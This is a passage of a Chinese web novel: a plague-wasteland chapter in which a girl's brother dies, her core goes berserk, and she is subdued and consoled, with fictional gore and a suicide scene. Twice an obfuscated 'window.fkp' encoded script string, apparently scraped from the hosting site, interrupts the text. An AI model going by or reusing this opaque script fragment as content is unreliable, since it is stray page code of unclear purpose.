“知道了。” 随后伊背起了正在熟睡的狄天明,跟着马婷婷一起向着渔业码头赶去。此时在远处,殇和小鸟正在注视着马婷婷她们。 殇很不解地说: “真搞不懂她是怎么想的,竟然想要帮助想要卖掉她的敌人。” 小鸟: “也许是出于善意吧,毕竟依我看,那两个孩子的遭遇也很悲惨。” “哎......对啊,这个世界上有谁是不悲惨地活着呢?” “你也应该试着转变态度,试着体谅一下其他人。不然就你这倔的跟驴似的脾气,很多人的心都会被你伤透的。” “转变态度?试试吧......如果我可以的话。” “先别在这闲聊了,她们走远了。” “哦!不好,要跟丢了!赶紧走!” 殇带着小鸟向着马婷婷她们前进的方向赶去....... 与此同时...... 在碧蓝苍穹集团的办公室内,集团内的一个高管戴达斯正在和碧蓝苍穹交谈。 戴达斯: “老板,在伊体内的核心能量收集装置即将完成配置,很快就可以进行回收了。只要我们回收了这个装置,我们将会拉开一个新的纪元的序幕。” 碧蓝苍穹微笑着说: “不......现在不是回收的时候。比起你那个,有个东西更重要。” 戴达斯: “你是指光之种子吗?” 碧蓝苍穹微笑着说: “没错。” 戴达斯: “老板,你打算下一步怎么做?” 碧蓝苍穹: “你还记得你那个项目中有个防止计划失败的条款吗?” 戴达斯: “哦!我知道了。老板你可真聪明!只要我们用数据拷贝的方式拷贝出伊的核心配置,我们就可以仿照数据制造出一模一样的新世代核心。” 碧蓝苍穹微笑着说: “你也一样聪明。现在不着急回收数据,因为我想看看我妹妹所研究的光之种子到底有什么特别之处。” 与此同时...... 在殇王国的城堡之中,肃清者正在悠闲地喝着自己泡的极品红茶。 肃清者很愉快地说: “那清新的味道洗刷了我的味蕾,那恰到好处的温度让我感到格外愉快,那红茶的独特颜色衬托了这杯茶的美妙与优秀,就如一个博学多才且各方面优秀的人才一样让人眼前一亮啊。” 说完,肃清者又喝了口茶。 这时,阴突然打开了门,他急匆匆地冲进了房间之中。 阴很着急地说: “不好了!肃清者!胡普小姐她......她......” 肃清者淡定地放下茶杯,问: “又失控了?” 阴点点头,说: “对......对!她又失控了!” 肃清者缓缓起身,她举止优雅地把茶杯放在桌子上。 肃清者露出微笑,从容地说: “让我去处理这个小可爱吧。” 阴: “有劳你了,大姐。” 肃清者迈着轻盈的步伐走出了房间,她漫步来到了胡普小姐失控的区域之中。这里的地板和墙壁之上都是皇家士兵的血液,地面上有着许多被刀子切开的皇家士兵的尸体,其场面看着十分血腥。这里弥漫着血腥的气味,站在这些尸体中心的,是一个拿着刀的失控之人。 核心暴走的胡普: “为什么?!为什么!为什么你们要这么对我!我明明处处为你们着想!你们却一直用恶意来对待我!我做错了什么?!” 失控的胡普看到肃清者后露出了诡异且怪诞的笑容。 核心暴走的胡普: “哈哈......哈哈哈.......哈哈哈哈哈!就连你也嫌弃我吗?!既然这样......你就给我去死吧。” 此时有几个士兵拿着武器冲了过来,肃清者一把拦下了他们。 肃清者: “她由我来对付。你们赶紧撤退,这里不是你们这些凡人该来的地方。” 士兵: “可是......” 肃清者: “乖,执行命令。” 士兵: “遵命,肃清者。” 这些士兵随后听肃清者的命令撤离了现场。 随后,胡普的身边出现了许多红色的各式刀子。胡普对着肃清者甩了甩手,这些刀子全部以极快的速度飞向了肃清者。就在这时,周围的气场开始颤动,有十只中心有一个大窟窿的暗金悬浮手出现在肃清者的身后,肃清者伸出左手,张开五指,然后用力握拳。接着这十只悬浮手全部握拳,强大的能量汇聚在这些手上。 肃清者: “指令......执行。” 这十只手握紧拳头以比刀子更快的速度迎面直击这些飞过来的刀子...... ...... 宙级洪流: “我的王啊......你还记得你当年的样子吗?你当初是我们所有人的榜样以及偶像。虽然你长着一张大叔脸,但是你依旧迷倒了一片人,有的甚至是男人。那时所有孩子都羡慕你的女儿有个这样的父亲,所有人都羡慕这个国家有个这样的王。可现在......你却是所有人眼中的混蛋与暴君。我的王啊......你何时才能睁开你的‘眼睛’呢?” window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 西玲国—最终话:生活下去的意义 下午时分,落日的余辉照在大地上,许多凋亡的树木映衬着这落日的余辉,阵阵清风拂过这片大地,树木被吹的嘎嘎地哀嚎,荒草被吹的滋滋呻吟。天空被染得血红,仿佛是这片土地的倒影。回应这些的貌似只有寂静与尸骸,还有那些痛苦着的幸存者们。夕阳西下,在这个荒凉的地方,没有人会把希望寄托于这夕阳上。都说当太阳再次升起的时候希望就会出现,可现在,当太阳再次升起的时候,不是死就是痛苦啊。无人区内,生命就如同金子一样难找,这本该遍布这里的存在,现在却是格外的稀少。真是讽刺啊...... 马婷婷和伊此刻已经在连腐臭味都不配拥有的荒废渔业码头之中了,她们所处的位置是一个三层小楼的二楼,小楼内只有寂静与灰尘还有三个正在被折磨着的可怜之人。这里已经荒废许久了,但是依旧可以看出这里曾经拥有着的繁华与人生活的痕迹,想必,那时生活在这里的人一定很幸福吧。伊把背上的狄天明放在了一个还算比较完整的床上,让正在熟睡的狄天明好好躺在了这个还算柔软的大床上。看着现在正在熟睡的狄天明,马婷婷露出了安心的微笑。看着眼前这个负责任的姐姐,伊不由得笑了笑。 马婷婷叹了口气说: “哎......虽然这里不是很舒服,但是总比让他睡在地上要强。(转头看向伊)伊,你还是负责帮我照看我的弟弟,我去这周围找点吃的。毕竟我们几个都饿了一天了,不吃点东西可就走不下去了。” 伊点点头,说: “好。” 说完,马婷婷就离开这个房间,去周围的房子之中去寻找食物与物资,而伊,则留在这里照看正在熟睡的狄天明。看着正在熟睡的狄天明,伊有些担心,她很怕狄天明没有挺到她姐姐离开就因为疫病而死去。她静静地看着熟睡的狄天明,时不时将手放在狄天明的胸膛上来看看他是否还活着,她此刻也跟他姐姐一样开始关心起他来,她也开始害怕狄天明会死去。就在她照看狄天明的这个期间,她胸口再次发出了光芒,她的核心之中的能量正在律动。过了一会,马婷婷回来了。她的手里拿着一个平底锅以及两块冻得很结实的肉排,背后还背着一个不大的装鱼用的袋子,这个袋子之中有些冻得很结实的食物以及几包种子。 马婷婷放下身上搜集来的东西,打了打身上的尘土。 马婷婷: “嘿咻!这些就是我能找到的东西。想不到这个地方的冷库竟然还在工作!而且里面还剩下了几块冷冻食物!——今天晚上有口福了!你真应该感到庆幸,伊。——对了,这段期间我的弟弟怎么样了?没什么事吧。” 伊: “他什么事都没有,还在睡呢。” 马婷婷: “那就好。一会你去跟我一起去收集点柴火吧,快到晚上了,我们该生火了。到时候把这两块肉烤一下,然后睡一觉,在明天日出的时候我们就离开这个地方。” 伊: “好。” 马婷婷带着伊在这栋房子周围开始拆那些无用的建筑,她们把建筑上的木质结构卸下来砍成一段段的柴火,然后把这些柴火扔到了这件三层小楼的路子之中,接着用屋内的生活装置升起了炉火。她们很幸运地在屋内找到了一个可以用来发电的热能发电机,而且这个热能发电机已经跟一个不大的炉子配置好了。伊和马婷婷都曾经学习过怎么使用机器,所以她们很熟练地激活了这个机器,让这栋小楼恢复了供电。 与此同时...... 殇也来到了这个荒废的渔业码头,他在这个很大的码头村中的房子之间穿梭着,试着找到一些有用的东西以及不知去向的伊。就在他翻进一间不大的民房内的时候,一阵腐臭向他袭来,他立马捂住鼻子扇了扇周围空气。 殇捂着鼻子,一脸反胃地说: “卧槽!什么味道?是什么发霉了吗?” 出于好奇心,殇缓缓向着屋内走去,越往屋子里面走,这种难闻的味道就越浓。当他走到一间门微微打开的卧室门口的时候,那个味道的浓度达到了最高。他缓缓推开了这扇门,接下来,一个让他差点吐出来的画面出现在他的面前。 殇: “我去!这他妈是什么?” 只见一个吊在空中已经腐败的仅剩一具白骨和附着在骨头上不定点肉的一具无法辨认的尸体在屋中的吊着,这具尸体后方不远处还有个用血染成了暗红色的大床,床上同样有着同样腐败的尸体。屋内的地面极其凌乱,地面上有着各种生物的抓痕以及风干的排泄物,各种家具已经严重损坏,地板天花板都已经腐败了一半,上面还有着大量的鲜血。殇捂着鼻子走进了屋内,他首先走到了这具吊着的尸体旁,他简单地检查了一下,初步断定其死因是自杀,而且死者生前感染了疫病。接着他来到了那个大床前,他看了看大床那具尸体,初步确认是个孩子,他接下来掀开了被子,被子里面还藏着一具尸体,这具尸体也已经变成了那样,根据殇的判断,这具尸体的岁数比上一个要小很多。 殇: “这看起来糟糕极了!” 这时,殇注意到了床头挨着的桌子上的纸,他走到桌子前定睛一看,这张纸上面用凌乱的字迹写着几句话。 “别怕......孩子......妈妈......妈妈......会保护你们的!我......我会与那些怪物战斗到最后一刻的......别担心......妈妈......妈妈只是感冒了......” 殇转头看了看那具吊着的尸体,又看了看那两个死在了床上的孩子,他叹了口气,他从心里为这两个孩子以及它们的母亲感到惋惜。他把那具吊着的尸体弄了下来,然后小心翼翼地把这具尸体抬到了床上,之后为她们盖上了被子。 殇: “您是位伟大的母亲!安息吧......” 殇走出了这间卧室,他缓缓地关上了房门,然后离开了这个房子。他来到了曾经熙熙攘攘的主码头,这里还是有着那么多的大船与那么多的大网,可是这些船将永远停泊在这里了,它们再也没有离港的那一天了。 殇: “如果是当年,这里绝对不会这么安静。曾经,这里是这座岛也是这个国家最热闹的地方。许多来自各国的商人带着希望与憧憬还有他们的货物来这里实现发财的梦想,许多心怀希望与憧憬的人们在这里辛勤工作,为了自己家中的家人,为了他们自己明天的快乐,为了他们那最简单的梦想。来来往往的货船来回进出这里,一笔笔财富涌进这里又涌出这里,一切都在向着好的那个方向发展。可这......都是过去的事了。” 殇走到了码头一个开阔场地的中心雕像前。这尊雕像是殇王国的国王花钱在这里修建的纪念像,据说西玲国政府也掏了点钱。这座雕像还是那么的威武霸气,还是那么威武雄壮,因为这尊雕像刻的可是曾经带领各小国人民走向幸福的英雄国王殇啊。时过境迁,这尊雕像没多大变化,只不过上面多了点破碎的渔网与一些青苔。这尊雕像的下方刻着一句话,这句话虽然简短,但是气势十足。 “国王他骗了我们!杀了国王......杀了国王!王侯将相宁有种乎!杀了他!杀了他!” 殇: “多么有勇气的宣言啊......如果他还活着的话,他一定还在记恨着他吧。也许......他已经不在这里了。又或许......他死了。我在说些什么啊?” 殇走到了这个雕像近前,他此时惊奇地发现这个雕像的眼睛竟然不是闭着的,而是睁着的。这是某人刻意的行动?还是风吹日晒侵蚀后的结果?没人知道。因为,没人......知道......殇注意到这个雕像的眼角貌似有着一些液体,他试着去碰,但是怎么碰都碰不到。这尊雕像也许是哭了,但是他能为什么而哭呢?这里死去的人们?还是那些生活在痛苦之中的人?又或者是孤独呢? 殇摸了摸这个雕像,接着转头就离开了这里,继续去寻找伊。 到了晚上,殇终于在一栋发着光的小楼外的空地上看到了伊。他刚想上前去救她,但是下一秒他停住了,他回想起了伊对自己说的话,于是他找了个角落偷偷观察着伊她们。 在伊这边,狄天明此时已经醒来许久了,他现在正坐在一楼餐桌前的一个椅子上无力地忍受着疫病为他带来的痛苦。此时马婷婷端着一个盛有肉排的平底锅走向了狄天明,她把这个平底锅放在了餐桌上。她紧接着又从厨房里面拿出了一双筷子与一根叉子,她将筷子与叉子放在了狄天明眼前的餐桌上。她闻了闻那块烤熟的肉排散发出来的香气,她的表情很是愉快,因为她第一次成功为自己的弟弟做了次晚饭。 马婷婷微笑着指着那块烤熟的肉排,对狄天明说: “弟弟,这次姐姐给你弄了块好吃的大肉排,快吃吧。” 狄天明露出一抹无力的微笑,回应道: “不......姐姐,我现在不想吃,我想出去和你一起去看一看今天晚上的......星星。” 马婷婷微笑着说: “星星一会再去看,现在把这块肉排吃下去,不然一会凉了可就不好吃了。” 狄天明恳求道: “不......求你了,姐姐,让我先看一下今晚的星星吧,我保证用不了多少时间的。” 马婷婷妥协,说: “好吧,既然你都这样要求了,那我就带你出去看一下吧。” 狄天明无力地笑着,感谢道: “谢谢姐姐......” 马婷婷扶着狄天明来到了这栋小楼的外面,此刻伊正站在小楼外注视着今晚的星星。伊注意到了马婷婷她们,她看到正在微笑的马婷婷也不自觉地露出了微笑,可当她看到一旁正在咬着牙忍痛的狄天明时,她的微笑消失了。 马婷婷好奇地问伊: “怎么了?伊。” 狄天明用颤抖的手做了手势,提示伊别说出来。 伊显露出有些担忧的表情,但为了配合狄天明,她故作无事发生地说: “没......没事。” 马婷婷见此有些怀疑,就问: “看你这表情怪怪的,老感觉你有事瞒着我。” 伊露出一抹微笑掩盖自己的忧虑,说: “没事......我只是自己一个人有点害怕。” 马婷婷噘起嘴来,说: “多大人了?自己待着还害怕?果然是城里来的大小姐啊。” “对了......你们两个来外面干什么?” “他说想在吃饭前看看星星,我就出来陪他看看。” 伊似乎意识到了些什么,她的内心不由得有些伤心,她的眼神之中多出了一丝悲伤与怜悯。 伊: “好吧,那我们一起去看看今晚的星星吧。” 狄天明和马婷婷还有伊在小楼前的空地上做成了一排,她们一起抬头看着今天晚上的夜空。马婷婷搂着狄天明一起抬头看着夜空中繁星,就像一个真正的姐姐搂着自己弟弟一样,两人看起来就跟真的姐弟一样。虽然两人之间没有血脉的联系,但是两人之间的情谊却比亲生的还要浓。阵阵晚风吹在三人的身上,这让这三人很舒服,因为这风的温度正好是能让人感到舒服的温度。天空中的星光照在他们三人身上,仿佛世界的聚光灯照在了她们三人的身上。这星光虽然不怎么亮,但是对于她们来说已经是足够了。夜空中繁星点点,每颗星都在努力释放着光芒与能量,它们组成了一个庞大的星空,每颗星都是这星空之中的一员。天空中的月亮也很大,虽然不是圆月,但是也足以与星空一起形成一片美丽的夜空了。 狄天明: “真......真美啊......要是以后可以一直跟姐姐这么看星星该有多好啊。” 马婷婷: “放心,弟弟。等我弄到了这笔钱,我就带你去大城市里治病,再给你也买个核心,到时候我们两个快乐地一起生活下去。” 狄天明眼角流出了泪水,他说话时有了哭腔。 狄天明: “要是真能这样......该多好啊......” 马婷婷: “放心,会有这一天的......” 突然,一滴粘稠的液体滴在了马婷婷的手上,马婷婷感受到后立马把手抽回来。她定睛一看,这滴粘稠的液体不是别的,正是狄天明的血液。这血液的颜色,不是别的颜色,而是暗红色。马婷婷的脸色一下子变得惨白,她的眼神之中满是惊恐,她的手不自觉地开始颤抖。就在她惊魂未定的时候,狄天明倒在了她的身旁。她立马反应过来,转身就去扶起自己的弟弟。伊出于担心也走了过来,她看着狄天明和马婷婷,心里是格外的心痛。狄天明的满脸是血,嘴里还在向外吐着鲜血,他的指甲与牙齿以及头发开始脱落,皮肤以一个极快的速度溃烂,他内部的五脏六腑正在以极快的速度衰亡着。他现在已经是踏进了地府的人了,他的死已经是既定的事实。 马婷婷流着泪说: “弟弟......弟弟!振作一点!别......别......别这么做!你别一个人把我丢在这个世界上!我......我很快就可以救你了!撑......撑住啊!” 马婷婷绝望地大喊。 “我叫你给我撑住啊!这个家我说了算!我命令你!不许死!你给我撑住!” 狄天明: “姐姐......你还有希望与梦想......带着......带着......我们的希望与意志或下去......你不能......止步于此......” 狄天明的说话声扭曲且怪异,就如那时的吴一样。 这时,狄天明对着马婷婷伸出了手,马婷婷流着泪用颤抖的手试着去抓他的手,可就在要抓住的那一刻,狄天明的手放下了......狄天明的头缓缓垂下,他的心跳停止了,他的生命终结了。 马婷婷绝望地大喊道: “不......不!不不不!别离开我......弟弟,别离开我!” 此时,殇和伊的眼前出现了马婷婷的内心世界。 马婷婷: “加油!我可以的!只要我够努力,只要我够辛苦,我和弟弟就一定可以离开这里,我和弟弟就一定可以实现各自的梦想!我们......我们一定可以活下去!——吴阿姨......你放心吧,我会照顾好他的,我不会让你失望的。” 一张张马婷婷和狄天明的笑脸闪过,她们那时是那么的幸福与快乐,即使她们生活在一个痛苦的世界之中。那是她们的美好回忆,那是她们所珍视的东西,那是她的一切。一幅幅吴阿姨与她和狄天明的画面闪过,她们那是她们一生中最快乐的时候,即便生活是那么的不易,但她们的脸上依旧挂着笑容。那是她们最美好的记忆,那是她们彼此最珍视的一切,那是她心中的天堂。可现在,那些都已经如同破碎的镜子一样碎成了一块块的碎片,又如同沉入湖中的石头,一去不复返了。 马婷婷陷入绝望,她的世界在此刻崩塌、毁灭。 马婷婷: “为......为什么?为什么!我明明这么努力!我明明为了我所珍视的一切付出了这么多!为什么......为什么我最后什么都留不下?为什么所有人都要离我而去?为什么给予我希望但又一次次地使我绝望?” “为什么?!这是为什么!只因为我是个无人区出生的孩子吗?!只因为我没有金钱吗?!我为此甚至放弃了梦想,我甚至天天挨饿,只为了能留住他......我付出了比别人更多的努力与辛苦,最后只换来了绝望与所有人的离开.......” 马婷婷的核心: “警告!核心能量控制系统出错!核心能量超出控制范围!请周围非战斗人员立即撤离!请专业的核心使者前来抑制核心暴走!” 周围的空间之中出现了许多黑色的未知物质,强大的能量在马婷婷的身上涌动着。马婷婷身上金黄色的一身全部变成了象征着绝望的黑色,绝望的气息散发在她的身上。她的眼睛变成了如同焦炭一样的黑色,她的所有武器都被上了一层黑色的不明物质。 马婷婷绝望地嘀咕道: “到头来......一切都是徒劳无功的。这个世界就是这样的......付出是没有回报的!没有回报的!我曾经努力过、奋斗过、哭过、累过、流过血、流过汗、流过泪、甚至一次次与死亡擦肩而过!可这些都没有意义......既然如此......” 马婷婷转头看向了伊。马婷婷的眼神之中满是绝望与空洞,她的内心仿佛被绝望所笼罩吞噬了。见到马婷婷这样,伊不禁开始害怕起来。 马婷婷对伊喊道: “既然事已至此,那么留着你也没用了......与其把这一百万留给那些能追到幸福人,不如让所有人都拿不到它!去死吧!” 说完,马婷婷拔出腰间的镰刀冲向了伊,准备杀掉伊。就在这时,殇突然一个飞踢直接踹走了马婷婷。 殇: “给我滚一边去!” 伊: “殇!你来了!” “对,我来了。” “我还以为你真的走了呢。” “你觉得我能走吗?你还欠我一条命呢。” “也对。” 马婷婷这时缓缓站起。见到殇的瞬间,马婷婷愤怒地说: “喂!别抢我的猎物!” 殇: “你的猎物?这个人只有我能杀,其他人没有这个资格!她的命,只有老子说了算的!” 伊一听这话,脸微微有点泛红。 马婷婷: “既然来都来了,那就多杀一个吧......” 殇: “等下!” 殇一把抱起伊,他一跃而起来到了那栋三层小楼的二楼,然后把伊放在了地上,之后一个冲刺撞墙而出。他在空中一个落地猛冲精准着地落在了刚刚的位置,他打了打身上的尘土,然后正视眼前的马婷婷。 殇: “战斗......现在才刚刚开始。” 马婷婷: “混蛋......给我去死吧!” 马婷婷一个冲刺来到了殇面前,她以极快的速度对着殇连续挥了四下手中的割草镰刀,殇连续几次闪躲全部躲开,在一个后撤之后,他握紧双拳,掐准时机,对着马婷婷使出了他的祖传绝技隼之冲刺。马婷婷一个侧闪躲开了他的隼之冲刺,她此刻准备掏出腰间的手枪对殇射击,但她也因此错过了最佳的躲避时机,她单纯地以为隼之冲刺就这么一下,没想到殇对着墙来了一拳,然后一个转体加速以一个冲刺拳的姿势再次冲向了马婷婷。马婷婷见此顾不得拔枪,直接一个后撤躲开了这一下,到此还没完,殇用拳打了另一面墙一拳,以一个同样的姿势折返回来了,马婷婷连续几个后撤躲开。殇就跟一个弹球一样在两面墙之间来回弹射,而且弹得速度一次比一次快,马婷婷的后撤速度很快就跟不上了。就在马婷婷后撤到道路边缘的时候,殇以一个极快的速度来到她的右方,她转头看去,这次殇不是用拳头,而是用腿,这突然的转变让马婷婷猝不及防,她下意识将两把两刀横在了身前来挡下这一击,但是还没等她有动作,殇的腿就踹在了她的脸上。殇一个回旋踢直接将马婷婷踢飞了出去,她直接以一个极快的速度撞到了一个房子外围的围墙上,这一下给这面围墙砸出了一个大裂痕,可见这一下的威力之大。没等马婷婷做任何反应,殇一个后撤用身砸墙利用反冲力直接抄起地上的一根木棍向着马婷婷冲了过来。马婷婷瞬间掏出腰间的双左轮对着殇连开十二枪,子弹如雨点一样袭向殇,但是殇丝毫不慌,他用力把这根木棍以丢标枪的姿势丢向了前方。 殇: “激活E协议,生成Emw-56,大理石柱!” 殇的身旁突然出现了一根大理石柱,他一把抱住这根大理石柱,微微下压身体,做好姿势,他用极快的速度连续转体两周用大理石柱挡下了子弹,但还是有一颗子弹命中了殇的身体。马婷婷见此整个人都傻了,她从未见过有如此实力之人。他像一个陀螺一样转体几圈后单手抓着大理石柱的边缘,以一个甩铁饼的姿势把这根大理石柱甩向了马婷婷,而且掐准角度让这根大理石柱正好与马婷婷现在的位置擦肩而过。马婷婷见到这飞过来的大理石柱后下意识用侧身闪躲,就是这一下,让殇找到了攻击的机会。此刻,马婷婷的余光之中出现了一根向自己飞过来的木棍,她转头看去,只见殇一个冲刺抓起这根木棍以极快的速度在空中转体两周,他的速度极快,动作极其标准,一看就是身手非凡的强者。殇一个转体回旋棍法直接一棍子给马婷婷打飞了出去,这一下是全垒打,速度极快,威力极大,动作标准,精确命中。马婷婷直接砸在了一面墙上,这一下比上一次威力要大,这次是砸出来个小洞。殇手中的木棍由于速度过快,在击打马婷婷的瞬间起火了,在击中了马婷婷后,这根木棍碎成了两半,可谓是尽职尽责了。殇握紧拳头,下压身体,冲着现在还没缓过来的马婷婷一跃而起。他在空中握紧右手,他的右手之中涌动着核心能量,仿佛在下一秒就会释放出来。他做好姿势,对准马婷婷身前的地面,加速坠了过去。 殇: “裂地猛冲!” 殇一个重拳砸在地上,地面上直接出现了一个坑,坑周围的地面直接被震碎成了一块块的碎块,这些碎块在冲击力的作用下被震得飞了起来,无数如同尖刺一样的大块碎石从地里冒了出来,它们以一个波扩张的顺序出现在地面之上,它们所出现的地面都是充满裂痕与地面碎块的地面,这一拳的影响的范围足足有五米之多,其场面可谓是壮观无比。这一下的冲击与碎石直接把马婷婷打进了屋内,又打出了屋内。她像一个皮球一样在地面上滚了好几圈,在几秒之后,她身上的惯性消失了,她这才停了下来。殇以一个潇洒的步伐缓缓走向了倒在地上的马婷婷,他手里拿着一根木棍,看样子他是想一棍子解决马婷婷。马婷婷颤抖着用双手支撑着自己缓缓起身,可是她无论怎么用力,都没法站起来,甚至连跪着或坐着都做不到。她现在只能绝望地看着殇提着木棍走向自己,她想做些什么,可是她现在压根就没有力量去做任何事,她连站起来都不做到。 殇拎着棍子,边走边对马婷婷说: “只要给你再来一棍子,你就变回去了。我不会杀你的,我也厌倦了无谓的杀戮。” 殇走到马婷婷面前,抡起棍子正要打,伊挡在了殇的面前。殇见到伊后立马停手了,他用一个很疑惑的眼神看着突然出现的伊,他很不理解为什么伊要这么做。 殇很疑惑地问: “伊,你干什么?我现在只要给她再来一下她就会变回原来的样子了。” 伊微笑着答: “不!殇,你这样只会让她感到绝望!” “可是......” “让我来处理吧。” “好吧,好吧。你要是能的话,你就处理吧。” 伊转身用一种关心与怜悯的眼神看着马婷婷,她缓缓低下身来,一把抱住了现在已经绝望的马婷婷。马婷婷被这突如其来的拥抱弄得不知如何是好,想要挣脱,可还没等挣脱,她就放弃了挣脱的念头。伊的核心与马婷婷的核心建立了一种特殊的连接,这种连接让马婷婷感受到了前所未有的感觉,她能感觉到光明正在驱散她心中的黑暗。 马婷婷眼角泛着泪光,她感受到了前所未有的温暖。她轻声地问: “这是什么?好温暖......” 伊: “孩子,不要迷茫、不要害怕,我在你身边......” 此刻,殇和伊的眼前再次出现了马婷婷的内心世界。 一道从天而降的光芒驱散了她心中的黑暗,照亮了她的内心。许多光芒的碎片落在她的手上,她用手感受着这些光的分量与温暖。 马婷婷闭着眼思考,接着很有底气地说: “不!她说的对!我不该现在就此堕落!吴阿姨和狄天明将希望与意志寄存到了我的身上,我不能让她们失望!” 马婷婷睁开眼睛,自信地说: “我是家里大姐,我是家里的第二顶梁柱!只要我还活着,这个家就会一直存在下去!我必须坚强!我必须活下去!” “既然我肩负着她们对我的期望,那么我一定要生活下去!那怕生活在艰苦与不易!她们给予了我活下去的勇气!她们给予了我生活的快乐与幸福!现在......让我承载着她们的意志好好活下去吧!” “即便每一日都痛苦且没有意义,但仍要去拥抱生活、在这痛苦中起舞啊!接纳生活,不再逃避。这就是......我生活下去的意义。” 在一阵耀眼的光芒之后,马婷婷变回了原来的样子。马婷婷眼角流着泪死死地抱着伊,伊也死死地抱着她。 马婷婷很感激地说: “谢谢你,伊。” 伊十分温柔地说: “马婷婷,你一定要好好活下去。” 马婷婷笑着答应: “知道了。” 此刻在伊的核心之中...... 一种莫名的能量涌进了伊的核心,让伊核心之中的光之种子得到了养分。 伊的核心: “光之种子萌发8.3%。激活碎片1,生活下去的意义。” 此刻,殇突然回想起了什么东西。 望着已经破碎灭亡的故国,他陷入了沉思。回想起因为战争而死去的妻儿,他内心无比悲伤。回想起自己曾经那温暖舒服的家,他悲痛欲绝。这场战争夺走了他的一切,让他生活在了痛苦之中。他此刻的脑中想到了一个念头:给这些殖民者来一个自杀式袭击来为死去的妻儿报仇。他本想着去完成这个念头,毕竟现在的他孤身一人,生活下去的意义与理由都没有了。可他转念一想,又放弃了。他不能就此堕落,他有实力,他有力量,他有决心,他还有无限的可能。他握紧了腰间的剑,做好了拉开反抗序幕的准备。 但仅凭他的一腔热血,是无法打败殖民者的。想要胜利,必须要集结一支精明强大的军队,还要有足够强大的实力,且必须保证军备等级不输于殖民者。筹备这些必要的,是他当下要去做的,他不能再沉浸于失去家人的悲痛之中。若他选择沉沦、堕落、一了百了,这样只会让自己的一腔壮志变作尘土。因而他需要稳重,确保自己不会被仇恨冲昏了头。暂时的忍耐能换来明日的光辉,沉稳的操守能换来变局的到来。 殇: “若我的家在战火之中是这般惨烈地逝去,天下那么多个深处水深火热中的家庭,也定会跟我的家一样。虽然我的家亡了,很可惜。但天下大家还尚存,大家不能亡!大家若在,同我等凡人的家也定是同在。大家若亡,小家难以保全而覆灭。届时往日不再,幸福永堕亡,无归。天下之人,需要团结起来啊!” “我虽无百智之贤士聪慧,但能有其一半甚多哉。我身有坚挺如山峦,且武艺过人,斩马杀敌样样精通。我不知我是否能扛起这面大旗,战胜那些该死的殖民者。但我能确定,我注将如烛火般启明,化身烈火引燃这个沉寂的夜。我将承载薪火!我先祖延续下的英雄魂魄,注将在我的身上显现。我将成为英雄,去斩破这无尽暗夜。” “我,殇。是武圣殇无间的后人、是泰坦屠杀者的后人、是这片土地上不惧死亡的卫士。入侵者们,敬请见证,那个曾属于我们的......名为火的时代!我们是火焰!而我,是点火人殇!” 回到现在...... 马婷婷和伊在深情拥抱之后双双扶着对方站了起来,她们两个微笑着看着殇,两人的眼中满是真诚与希望。看着这样的两人,殇不由得露出了微笑。 虽然殇的内心是拒绝的,但他还是选择了帮助马婷婷,帮她为狄天明弄了一座还算像样的坟墓。在狄天明的墓前,马婷婷和伊都流着泪送别了狄天明。 马婷婷微笑着又流着泪,是不舍与希望交织在她的心里,让她这样罢。马婷婷在墓前,又哭又笑着送别她的弟弟。 “弟弟,你就安心的去吧。姐姐我一定会承载你和吴妈妈的希望与意志,好好的活下去的!在你们的祝福之下,我一定会活成你们心中所期待的样子的。你们......就安心的在天上看着我吧。” 见此殇也有点动情,但是他还是给憋回去了,因为他作为男人是不能轻易流泪的。在送别完狄天明之后,伊跑来向殇求情,可没等她开口,殇直接了当的答应了让马婷婷跟随他们前进的要求,原因就是没有原因,理由就是没有理由,就是单纯允许她加入。 ...... 太阳渐渐落到了地平线之下,落日的余辉将这个天空染成了红色,就连云彩也被染成了红色,落日的余辉照耀着这个世界,让最后一丝光芒可以引领某些迷茫的人前进。阵阵清凉的海风吹过海面,激起了阵阵波浪。马婷婷摘下了兜帽,坐在船边欣赏着落日的余辉。她的头发在风中飘荡着,就像春天的柳絮,她的脸被落日的余辉照耀着,像一个小小的太阳。这次有人会将希望寄托于太阳之上了。 望着落日,马婷婷微笑着说: “真美啊......要是他们能看到就好了。” 伊此刻走了过来,她坐在了马婷婷的身边与她一同观看这落日的余辉。伊指了指天上的不怎么明显的星星,告诉马婷婷: “他们就在那里,他们可以看得到的。” 马婷婷好奇地问: “为什么呢?” 伊微笑着解释道: “我妈妈曾跟我说过,每当有一个重要的人死去,夜空中就会多出一颗星星,那颗星星将会陪伴那个人走完一生的道路。他们不是彻底死去了,他们只是化作了漫天繁星的一员,成为了星星照耀你前进的道路啊。” 马婷婷继续好奇地问: “那我死后会不会变成一颗星星呢?” 伊温柔的一笑,告诉她: “会的。每个人都会成为一颗独特而不凡的星星的,即便每个人都如同尘埃一样存在。” 太阳落下了,夜晚到来了。惧怕黑夜的孩子们不再惧怕黑夜了,因为她们找到了可以驱散黑暗的光明。这光明不是火,而是天空中照耀他们的繁星。星光将指引她们的道路,让她们可以到达梦想的彼岸。 ...... 宙级洪流钟: “警告!时间线出现矛盾!警告!时间线出现错误!警告!时间紊乱指数达到10%!警告!警告......” 宙级洪流: “哦?有意思。看样子他终于改变他那固执的想法了......这是好事。——但,预料之中的变故还是到来了。时间扭曲,时间错位,时间......时间的祸,时间的果。也许这次我无法抑制它,但想必在它毁掉这里之前,殿下定能找到希望,拯救这个濒临毁灭的世界。” 西玲国 —完 window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 青兰国—第零话:小剧场1 